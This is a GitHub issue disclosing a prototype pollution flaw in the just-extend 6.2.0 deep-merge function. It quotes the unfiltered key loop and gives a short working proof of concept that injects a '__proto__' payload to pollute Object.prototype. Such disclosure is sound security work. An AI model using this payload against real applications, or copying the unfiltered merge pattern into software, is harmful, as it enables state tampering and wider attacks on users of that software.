8000 just-extend@6.2.0 — Prototype Pollution · Issue #594 · angus-c/just · GitHub
[go: up one dir, main page]

Skip to content
8000

just-extend@6.2.0 — Prototype Pollution #594

Open

Description

@dfzysmy2tf-create

hi, we are a security team. We found a Prototype Pollution vulnerability in your project.

Vulnerable File: just-extend/index.cjs (and index.mjs)

Vulnerability Type: Prototype Pollution

Severity Level: Critical

Vulnerability Analysis:

In deep copy mode (deep=true), the extend() function only uses Object.prototype.hasOwnProperty.call(extender, key) to check when iterating over the keys of the extender object, but fails to filter dangerous property names such as proto, constructor, and prototype. Attackers can contaminate Object.prototype by constructing malicious objects containing proto, affecting all objects.

Vulnerable Code (index.cjs Lines 37-50):

for (var key in extender) {
  if (Object.prototype.hasOwnProperty.call(extender, key)) {
    var value = extender[key];
    if (deep && isCloneable(value)) {
      var base = Array.isArray(value) ? [] : {};
      result[key] = extend(true, ..., value);  // key not filtered for __proto__
    } else {
      result[key] = value;  // key not filtered for __proto__
    }
  }
}

POC:

const extend = require('just-extend');

// Verify before attack
const testObj = {};
console.log('Before:', testObj.polluted); // undefined

// Construct malicious payload
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
extend(true, {}, malicious);

// Verify after attack - all objects are polluted
const newObj = {};
console.log('After:', newObj.polluted); // "yes"

Activity

  1. added a commit that references this issue on Mar 19, 2026
    9d7453d
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions

      0